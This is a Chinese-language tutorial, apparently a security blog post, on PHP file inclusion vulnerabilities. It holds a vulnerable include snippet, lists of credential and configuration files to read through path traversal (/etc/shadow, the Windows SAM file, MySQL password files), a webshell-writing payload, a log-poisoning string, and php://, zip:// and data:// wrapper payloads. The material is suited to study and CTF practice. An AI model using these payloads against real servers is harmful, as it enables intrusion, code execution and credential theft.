0x15 文件操作(包含)漏洞#

1
和SQL注入等攻击方式一样，文件包含漏洞也是一种注入型漏洞，其本质就是输入一段用户能够控制的脚本或者代码，并让服务端执行。
2

3
什么叫包含呢？以PHP为例，我们常常把可重复使用的函数写入到单个文件中，在使用该函数时，直接调用此文件，而无需再次编写函数，这一过程叫做包含。
4

5
有时候由于网站功能需求，会让前端用户选择要包含的文件，而开发人员又没有对要包含的文件进行安全考虑，就导致攻击者可以通过修改文件的位置来让后台执行任意文件，从而导致文件包含漏洞。

1
  开发人员都希望代码更加灵活，所以通常会将被包含的文件设置为变量，用来进行动态调用。正是这种灵活性，从而导致客户端可以调
2
用一个恶意文件，造成文件包含漏洞。

1
（1）web应用采用include等文件包含函数，并且需要包含的文件路径是
2
通过用户传输参数的方式引入；
3

4
（2）用户能够控制包含文件的参数，被包含的文件可被当前页面访问；

1
<?php
2
  include $_GET['test'];
3
?>

1
<?php
2
  phpinfo();
3
?>

1
可以看出，include()函数并不在意被包含的文件是什么类型，只要有php代码，都会被解析出来。
2

3
在上一期的文件上传漏洞的总结中，我们上传了一个jpg格式的一句话木马，如果网站有文件包含漏洞，jpg文件就可以被当做php文件解析，所以这就是文件上传漏洞通常配合文件上传使用。
4

5
现在我们将phpinfo.jpg的内容改成一段文字:hello world!
6
再次进行访问，可以读出文本内容

1
通过./表示当前位置路径，…/表示上一级路径位置，在linux中同样适用。
2

3
例如当前页面所在路径为C:\Apache24\htdocs\，我们需要使用…/退到C盘再进行访问，构造路径如下：
4
../../windows/system.ini
5

6
由于我的环境搭建在D盘，所以这里就不做演示了。

1
Windows系统:
2

3
1.C:\boot.ini //查看系统版本
4

5
2.C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
6

7
3.C:\windows\repair\sam //存储Windows系统初次安装的密码
8

9
4.C:\ProgramFiles\mysql\my.ini //Mysql配置
10

11
5.C:\ProgramFiles\mysql\data\mysql\user.MYD //MySQL root密码
12

13
6.C:\windows\php.ini //php配置信息
14

15
Linux/Unix系统:
16

17
1./etc/password //账户信息
18

19
2./etc/shadow //账户密码信息
20

21
3./usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件
22

23
4./usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置
24

25
5./usr/local/app/php5/lib/php.ini //PHP相关配置
26

27
6./etc/httpd/conf/httpd.conf //Apache配置文件
28

29
7./etc/my.conf //mysql配置文件

1
<?php
2
  fwrite(fopen("shell.php","w"),'<?php eval($_POST[123]);?>);
3
?>

1
127.0.0.1<?php phpinfo();?>

1
1.找到Session内的可控变量
2

3
2.Session文件可读写，并且知道存储路径

1
1./var/lib/php/sess_PHPSESSID
2

3
2./var/lib/php/sess_PHPSESSID
4

5
3./tmp/sess_PHPSESSID
6

7
4./tmp/sessions/sess_PHPSESSID
8

9
5.session文件格式:sess_[phpsessid],而phpsessid在发送的请求的cookie字段中可以看到。

1
file:// 用于访问本地文件系统，在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响

1
file:// [文件的绝对路径和文件名]

1
php:// 访问各个输入/输出流（I/O streams），在CTF中经常使用的是php://filter和php://input
2

3
php://filter用于读取源码。
4

5
php://input用于执行php代码。
6

7
php://filter 读取源代码并进行base64编码输出，不然会直接当做php代码执行就看不到源代码内容了。

1
利用条件:
2

3
1.allow_url_fopen ：off/on
4

5
2.allow_url_include：off/on

1
php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。当传入的参数作为文件名打开时，可以将参数设为php://input,同时post想设置的文件内容，php执行时会将post内容当作文件内容。从而导致任意代码执行。

1
利用条件:
2

3
1.allow_url_fopen ：off/on
4

5
2.allow_url_include：on

1
zip:// 可以访问压缩包里面的文件。当它与包含函数结合时，zip://流会被当作php文件执行。从而实现任意代码执行。

1
zip://中只能传入绝对路径。
2

3
要用#分割压缩包和压缩包里的内容，并且#要用url编码成%23(即下述POC中#要用%23替换）
4

5
只需要是zip的压缩包即可，后缀名可以任意更改。
6

7
相同的类型还有zlib://和bzip2://

1
利用条件:
2

3
1.allow_url_fopen ：off/on
4

5
2.allow_url_include：off/on

1
zip://[压缩包绝对路径]#[压缩包内文件]?file=zip://D:\1.zip%23phpinfo.txt

1
data:// 同样类似与php://input，可以让用户来控制输入流，当它与包含函数结合时，用户输入的data://流会被当作php文件执行。从而导致任意代码执行。
2

3
利用data:// 伪协议可以直接达到执行php代码的效果，例如执行phpinfo()函数：

1
利用条件:
2

3
1.allow_url_fopen ：on
4

5
2.allow_url_include：on

1
data://text/plain,<?php phpinfo();?>
2
//如果此处对特殊字符进行了过滤，我们还可以通过base64编码后再输入：
3
data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

1
伪协议的利用方法还有很多，这里就不一一举例了。
2

3
伪协议的用法小结